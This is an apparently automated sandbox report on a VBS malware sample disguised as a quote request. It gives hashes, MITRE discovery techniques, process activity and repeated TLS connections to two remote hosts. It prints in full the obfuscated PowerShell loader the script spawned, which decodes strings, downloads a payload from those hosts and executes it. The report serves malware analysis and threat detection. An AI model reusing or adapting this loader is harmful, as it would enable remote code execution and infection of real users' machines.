9711e0f1f4b1ea97ecf7ddfe05b27c8f712533c2141f6e2b064d636076e76652

Analysis

max time kernel
146s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02/12/2024, 21:27 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

報價請求 - 樣本目錄.vbs
Size

156KB
MD5

3655ed4ac8786b349f6c824ef9fbf58c
SHA1

a2c6abe2e04a0c5548288ffdaf4a9c27bc644d0b
SHA256

52bc69a2c50c4bc07047508511fe4e7c17b3f380ac3a6a2f5229330b0b1a6980
SHA512

1792ca76e88342a853ffd6f35cf53956d36178811b411361a5f15499570f02d225c53e83fc4d0b3c85ce1d4009466dc289c0fbeba1984da838110eb9e6519a48
SSDEEP

3072:xiHtveXendAy3yrLRKm+ay3tJuj8Sq2qb0M240PCOLvAtK3qfBHqnSBu46:xiHtveXendAy3yrslay3tJuj8Sq2qb0X

Score

8^/10

discovery

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
6	2708	powershell.exe
7	2708	powershell.exe
8	2708	powershell.exe
9	2708	powershell.exe
11	2708	powershell.exe
12	2708	powershell.exe
13	2708	powershell.exe
14	2708	powershell.exe
15	2708	powershell.exe
16	2708	powershell.exe
17	2708	powershell.exe
18	2708	powershell.exe
19	2708	powershell.exe
20	2708	powershell.exe
21	2708	powershell.exe
22	2708	powershell.exe
23	2708	powershell.exe
24	2708	powershell.exe
25	2708	powershell.exe
26	2708	powershell.exe
27	2708	powershell.exe
28	2708	powershell.exe
29	2708	powershell.exe
30	2708	powershell.exe
31	2708	powershell.exe
32	2708	powershell.exe
33	2708	powershell.exe
34	2708	powershell.exe
35	2708	powershell.exe
36	2708	powershell.exe
37	2708	powershell.exe
38	2708	powershell.exe
39	2708	powershell.exe
40	2708	powershell.exe
41	2708	powershell.exe
42	2708	powershell.exe
43	2708	powershell.exe
44	2708	powershell.exe
45	2708	powershell.exe
46	2708	powershell.exe
47	2708	powershell.exe
48	2708	powershell.exe
49	2708	powershell.exe
50	2708	powershell.exe
51	2708	powershell.exe
52	2708	powershell.exe
53	2708	powershell.exe
54	2708	powershell.exe
55	2708	powershell.exe
56	2708	powershell.exe
57	2708	powershell.exe
58	2708	powershell.exe
59	2708	powershell.exe
60	2708	powershell.exe
61	2708	powershell.exe
62	2708	powershell.exe
63	2708	powershell.exe
64	2708	powershell.exe
66	2708	powershell.exe
67	2708	powershell.exe
68	2708	powershell.exe
69	2708	powershell.exe
70	2708	powershell.exe
71	2708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2824	ping.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2824	ping.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2708	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2708	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2824	2356	WScript.exe	31
PID 2356 wrote to memory of 2824	2356	WScript.exe	31
PID 2356 wrote to memory of 2824	2356	WScript.exe	31
PID 2356 wrote to memory of 2708	2356	WScript.exe	33
PID 2356 wrote to memory of 2708	2356	WScript.exe	33
PID 2356 wrote to memory of 2708	2356	WScript.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\報價請求 - 樣本目錄.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\ping.exe
  ping Horm5zl_6637.6637.6637.657e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Fiskefartjers Salomonic bullion Kyschtymite Gg Prisaendringer #>;$Vaabenfabrikken='Regier';<#Haemningsloese Euphonized Hertugdmmet Stickler #>;$Perirectitis=$nordpol+$host.UI; function Unglutinousness($Accessarily){If ($Perirectitis) {$Enden++;}$Dunjakke=$Skaansomme+$Accessarily.'Length'-$Enden; for( $Overconservative=4;$Overconservative -lt $Dunjakke;$Overconservative+=5){$Sigillography193=$Overconservative;$Kneppede+=$Accessarily[$Overconservative];$overtrdelsernes='Dyarchic';}$Kneppede;}function Slagvarer($Pigless195){ & ($Tidsplaners) ($Pigless195);}$Udenrigstjenesterne=Unglutinousness ' AppMBrndo attzLindi.alelCounlSpriay ll/Disc ';$Feltlngders=Unglutinousness ' G oTUncrl Gnas ano1Med 2Ps,u ';$Gejlende167='.dbo[RehiNPla e .ilt Opt.DiruSHabieHeinRprosv.angIAndrCMasse fripsco oPunci InjnB.rstOkkuMUdstAHornN Reua W.oGKodiE lsiRDalr] Par:Bact:ForasSteeEPle c AnkUB,nkRC.anIE viTBogsy.esupCoterFaddOTrykTCardOBlodCMoutO FosLHarm=Toop$Ta tfP stE krlPecuTXantLPantnFartgRepod ifeE,nter KaosB gn ';$Udenrigstjenesterne+=Unglutinousness 'Frys5me.n.Unex0Aflo Rep(Mgt W,usriEl,kn igd.obpoPoiswb wes Nat A keNFangTBur, Bisa1Poly0Grun.Tu n0M.lj;satr Ang,WSubtiNeedn Cla6 Tra4Ovic; ,op BurgxFodb6Ring4Skju;Rund Hj r AanvAlb :f es1Dron3 Met1Di r.Cond0Y ge)Sta S usG BeteUnvocNo skspato Rib/karr2Pala0Barn1B.ke0 aas0Klap1 Per0 Re 1S or P.iFPaamiP nnrPippePseufSculo ReaxCobr/An j1Skik3Gu.d1Omfo. Epi0Skum ';$Overconservativedrtsklub=Unglutinousness 'DecouDrejs Ud eKompR Bos-DiscaK.rsgparleDa aNSu,sTbewr ';$Fnomenologis=Unglutinousness 'T.dehSlvft biltFl,ppSa bs Bes:Obj,/Jerk/Ecc bSerrrB aiuHelttOphaa ast.UngipB lelOmo,/SkruIGrapbSk.trUdtru CysgPre t resale ig S feOplslSkuds Baae ,lps ls. Fo ppro c nubxnoni>Rigeh Supt CritLipopH glsW ea: Eng/Undi/FestpForfr AfboDr,bmAmbaeHensn Fartgue.eUnu r Arr.JordrRefisskve/sadoIAraub MarrBesluEnamgTo,ntMa.taRealgAf.veStyllBaktsMiljePed sHalv. Ledp ReacWe exHorn ';$Rancourous=Unglutinousness 'Gear>Dags ';$Tidsplaners=Unglutinousness ' su I Ovee P sxSpac ';$Febrene='Dampningen';$Overconservativenterramal131='\Hylozoist.ony';Slagvarer (Unglutinousness 'Jule$MindgAbsoLFor.OTranBRempAB biL Ile: SalatintnSteaGAllerj ggEHa bbSergsNakev.ollAP ndaSekrB,otiE EtuNStr sReto=Proc$Irrie BrunSystvRens:A stA Fl.Pnon PLased MinADepiTLazaAFina+ M s$ gebOOverVKypeE onorD laCS.nio nsnPhytS abEIndwrS,devMennAIntetUroliGenrVB.rrEUndeNSustT M sEfakuRFilcR onfaWic.m nfaaR itl Ber1 Sky3Prof1Dere ');Slagvarer (Unglutinousness 'Inta$SkrfGAssiL AyaO Eksb intaAfsvLUnve:Ant o eprTA.siARundCRutiUAffaSUnskTReac=Jeal$TurbF KonNF.rso V.nMMisrePokeN UncO sh.L.rimOZeugg,verIPhanS Fe .IdmtSU dep Mo LPiskIAc.uT or(Prfa$.ideRVandADetanDiscc.fsgO M.luSendrR spo Deau PatSFor )I ar ');Slagvarer (Unglutinousness $Gejlende167);$Fnomenologis=$Otacust[0];$Hypogastrium28=(Unglutinousness ' Fej$.illgK.ntL.picoCuraBSansa Real Hei:Bu.tsOrtso elMDiskmmap EDamnr BeagVagnsSurftTraaEQua nphil=H,miNGruneSkaawTe,r-U,fhoIndfbSejrJNerveMisiCUnloTEnem IndSLaryYFgtes tiptPhloePlanM eut. OmsNChrie Kult ila.OdalwL bre,rdlbDoigcCoryl b yIChedeContnRid t,ord ');Slagvarer ($Hypogastrium28);Slagvarer (Unglutinousness 'L ng$ HavS N eoSp rmEnk,mbew eI anrmythgG.ais V ntRnb,e Sidn unp.Aug H .pteNetta ridResteUnmarNeurs pho[verm$GrunO ligv.ankeTyverRundcLangoPlumnNigrsPyr e DudrSt.lvSulaaFyrvtFrysiPumpv brie NoxdSen rRanitSe.gsTappkAquilCarauBianbkaps]E cy= Isl$H,emUQ addSoneeKlavnPlurrPreciGnidgSodasHu htAnstjSvogelegin .ebeAb dsDeretUn,veDur.rPam nVreleReal ');$Herpetolog=Unglutinousness 'Myre$ Su.S msaoLogamFis mJ roeReg rDemigL.gasc.hotLapieustan Int. SysDTel.oU dew rknntilmlAyuboSkroaAnnidDek F,lteiChr,lTegneF,de( rdi$ProtFInt n ilioIn.rmParoeCapsnPrbeo forlTylvohaugg Subi.nissB ad,Fort$GlobAUndefTelef snkaHypotBudgtSesseBespdFooleMedasToed)Sp b ';$Affattedes=$Angrebsvaabens;Slagvarer (Unglutinousness ' im $SpgeGSabbl PsioRemaBLoksaPetrlGlug:MeleNKompoTrimNDialHSyrlyCrosp.aleeTe eRhiorBLogiO ho,LLegaiarbecBlad1 Luc1 Fla0Zany=P.ot(BaxyT FryePe.pSTu iTd ns-SummpPagoaTo dTT llhMayo Le e$ BreAMac FBndeFUngkaCarrT KleTRetseVelgdovereIndesHemo)Indf ');while (!$Nonhyperbolic110) {Slagvarer (Unglutinousness ' Ele$Sterg,glslknaloPa zbpentaNon.l Roe: CorKpistvDesia snedNazerP emaPoron lastKommeChucrKonc=Slov$Kno,tBe gr unau emfeSynk ') ;Slagvarer $Herpetolog;Slagvarer (Unglutinousness ' ros FritNonca Th rVettThauc-OrnasQ adL andeFyldEDreipEc r Udga4balt ');Slagvarer (Unglutinousness '.lum$ A rGStiklFideoDormBDodeALavrlIndm:BoarNPlagOP lyN Unbhdek.y.rappPinnEPrecRL arBPol OTel,LRubrI NetcR de1Wayf1tar,0Z nc=D pe(IlpaTDepoeUddaSGypstSeat-DrejPWorkAOprrT DacHTriv ejen$Afspaf dlfWidoFAm taUnfoTVrditFde eDelpdSp leOutnsTilg) ,nd ') ;Slagvarer (Unglutinousness 'Stam$Ov rGmathL fiOPlatBKl.bAChilLPark: fsAMiliRapicbJakoEOfthJMadedThelSJog pHerrlSkrmiEnemgOverTPietEPeasrNe snstikeFrus=Inds$JennG ,avLPersOPr,mbLampaH rml Lan:Bv eFS mmACrincT lrIVellLOpiniScalTMou.aPatlTOthaoKredRoolaYU.va3Uoev6Spar+ ,dk+ mst% Her$ CypOFolkTSupraDidycH loufuldsGudst .ap.OpkocBarnOLystuAlarnUdgaTCyto ') ;$Fnomenologis=$Otacust[$Arbejdspligterne];}$Anticipators=340909;$arbejdspladsers=30602;Slagvarer (Unglutinousness 'Unde$BageGkirslPrevOAssebAbstaVandlReak:D nusUltrH UdsEA talretstD vaE.abbRPrevdNuclkOverkMycaE CadrSwo eWin sF gb2T ll6Be l sild= ,on NedsgVolueTalwtvase-,oldcsam.oSumpn vertTilserumenP,nktSleg arc$,mbeaBallFka.ofgen aUds T Fo,t NoneUnacD t oEIam sDest ');Slagvarer (Unglutinousness 'slut$fo lgBea.lGraeo G.db Ph aDemolInsu:OutsVL,ceiHuncpAr ep C.eeFortl HanaAmildCine Myrt= Int Inn[EnebSProsyPibesPlagt AlkePropmTe n.Re rCAnstoun enSangv BareInternatut Gen]Anal:Komp: DomFHydrrFuraoDka mGro BLimia orls OtoePrec6Vedd4ske,SLivstMonorSkrhiEndenCupog.uto(Subl$Fav SCorphRabieFrihlunent ngeKor rPetadSaxkk ejlkMin.eGrunr Slve Sygs Sup2Warr6Dela)Sm.t ');Slagvarer (Unglutinousness 'Xylo$ VasgActiLTilso OmkBim aaFriel obb:B.stUByldn,empG uncD Udso VolmSkinM.wagEPostLmagnIPibeg BulE yprOog,EGotc Udhu=V nd Se,i[EkstS SokYAnkeSRegnTDeflES.mhMsvar.sprlt A,he llxAnsatDamo. elE ournBackcIn,oo BevD Subi svin ShoG No ] are: Upb: asyat elsHumaCCo sIIsneiSemi.UndsgB,llELabaTGuldsBogltComprTrapIGenoNAprjg rg(Scum$QuarvU,acIApaypWomaPNon EInkal BubA IntdLege) Arb ');Slagvarer (Unglutinousness 'Bic $Z mogGymnlProfOVartBSkilaPreslOut,: onrMBowsaAgglCKol MJo bOS,teRCoprRSm aiAllesVulc=Nonb$LeanUEminnMategLeptdBereOPrimmJernM,piseDokklSindI HilgpaakePredr KvaEGuan.SlaaS razULateb UdssB,nat PapR RacI ShoNPostG al( Di $A abAGr,nN SkatListiValdc AnoITillPBenzaSndrtS ovoEc erKexsSUnpa,e sl$g unATrapR SambSub.EOddsJGradDRudds lapTokrL HenaOmegdKam.SOr lED,nnrC taSCen )scut ');Slagvarer $Macmorris;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708

Network

DNS

Horm5zl_6637.6637.6637.657e

ping.exe

Remote address:

8.8.8.8:53

Request

Horm5zl_6637.6637.6637.657e

IN A

Response
DNS

bruta.pl

powershell.exe

Remote address:

8.8.8.8:53

Request

bruta.pl

IN A

Response

bruta.pl

IN A

77.55.252.166
DNS

promenter.rs

powershell.exe

Remote address:

8.8.8.8:53

Request

promenter.rs

IN A

Response

promenter.rs

IN A

77.105.36.128
DNS

bruta.pl

powershell.exe

Remote address:

8.8.8.8:53

Request

bruta.pl

IN A

Response

bruta.pl

IN A

77.55.252.166

77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

502 B
219 B
6
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.105.36.128:443

promenter.rs

tls

powershell.exe

346 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5
77.55.252.166:443

bruta.pl

tls

powershell.exe

342 B
219 B
5
5

8.8.8.8:53

Horm5zl_6637.6637.6637.657e

dns

ping.exe

73 B
148 B
1
1

DNS Request

Horm5zl_6637.6637.6637.657e
8.8.8.8:53

bruta.pl

dns

powershell.exe

54 B
70 B
1
1

DNS Request

bruta.pl

DNS Response

77.55.252.166
8.8.8.8:53

promenter.rs

dns

powershell.exe

58 B
74 B
1
1

DNS Request

promenter.rs

DNS Response

77.105.36.128
8.8.8.8:53

bruta.pl

dns

powershell.exe

54 B
70 B
1
1

DNS Request

bruta.pl

DNS Response

77.55.252.166

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2708-4-0x000007FEF526E000-0x000007FEF526F000-memory.dmp

Filesize
4KB

Download
memory/2708-5-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

Filesize
2.9MB

Download
memory/2708-6-0x0000000001C80000-0x0000000001C88000-memory.dmp

Filesize
32KB

Download
memory/2708-7-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-8-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-9-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-10-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-11-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-12-0x000007FEF526E000-0x000007FEF526F000-memory.dmp

Filesize
4KB

Download
memory/2708-13-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download
memory/2708-14-0x000007FEF4FB0000-0x000007FEF594D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

DNS Request

DNS Request

DNS Response

DNS Request

DNS Response

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.